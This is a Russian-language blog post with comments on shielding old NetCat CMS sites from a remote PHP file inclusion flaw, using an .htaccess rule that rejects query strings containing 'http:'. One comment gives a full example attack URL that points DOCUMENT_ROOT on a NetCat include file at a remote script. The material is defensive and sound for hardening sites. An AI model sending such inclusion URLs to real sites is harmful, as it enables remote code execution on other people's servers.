01
Окт
Защита от взлома NetCat через php инклюдинг
Категории: CMS NetCat создание сайта, Сайтостроение | Комментарии (4)Смысл взлома заключается в прямом обращении к файлам, которые при нормальной работе подключаются после загрузки конфигурационного файла. В данном же случае конфигурационный файл не загружен и не определены основные параметры системы, которые может определить атакующий по своему усмотрению. Например, переменная, определяющая в какой папке установлена система. Подставив в нее ссылку на удаленный сайт, система загрузит его и выполнит написанный в нем код.
Данная ошибка системы была давно исправлена, но многие сайты продолжают работать на старых версиях. Кто-то использует пиратские версии, так называемые NetCat nulled, и боится обновляться, чтоб о его сайте не узнали разработчики, другие не хотят тратить на это время или не имеют возможности, поскольку сайт им разрабатывал сторонний разработчик.
Но есть одно довольно простое и эффективное решение данной проблемы, достаточно написать три строки в начало файла .htaccess:
RewriteEngine On
RewriteCond %{QUERY_STRING} http: [OR]
RewriteCond %{QUERY_STRING} http%3A
RewriteRule .* /403.php [F]
После этого, если атакующий в параметрах к адресу сайта, будет подставлять ссылки на другие сайты, то ему будет показываться содержимое файла 403.php, который нужно создать. В данном файле вы можете написать, что доступ к сайту с использованием такого запроса запрещен, и посылать уведомление администратору.
Данный способ применим к любому сайту и не привязан к конкретному движку. Фильтровать можно и другие нежелательные строки.
--
Говноблог - Супер блог? На данный момент он лидирует в конкурсе Сверхновая.
Андрей Коновалов, NetCat, 2008-10-07 @ 23:51
Любопытное и хорошее решение.
Но не универсальное. В частности оно не будет работать у тех пользователей, которые не используют mod_rewrite, т.е. у тех, кто сидит на ErrorDocument обработчике.
Поэтому самое лучшее и универсальное решение - обновить проект до 2.4 бесплатно, и далее - до текущей версии системы. Это, кстати, 3.1.2 на настоящий момент.
yakodzun, 2008-10-08 @ 10:30
Нет такого хостинга который не поддерживал бы mod_rewrite, а он обрабатывается перед ErrorDocument.
Но если вы все-таки нашли такой хостинг (например у ISP), то там масса других способов получить доступ к сайту, поскольку "администратор" сервера слабо разбирается в предоставляемой услуге и у таких вообще не слудует размещать свой сайт если он вам хоть сколь-ко нибудь дорог.
Кроме того при работе через ErrorDocument теряются данные передаваемые методом POST. Могут возникнуть проблемы при разработке дополнительных функционалов.
Евгений, 2008-10-29 @ 14:33
а как быть, если вам передали такую строчку:
http://www.yoursite.ru/netcat/require/s_loadenv.inc.php?DOCUMENT_ROOT=http%3A//www.mysite.ru/script.php
или вообще закодировали всю строку?
;)
yakodzun, 2008-10-29 @ 15:52
добавил и ваш вариант, но как сказал Андрей Коновалов лучше обновиться :)
но если все равно обновляться ломает, то можно прописать DOCUMENT_ROOT в vars.inc.php ручками.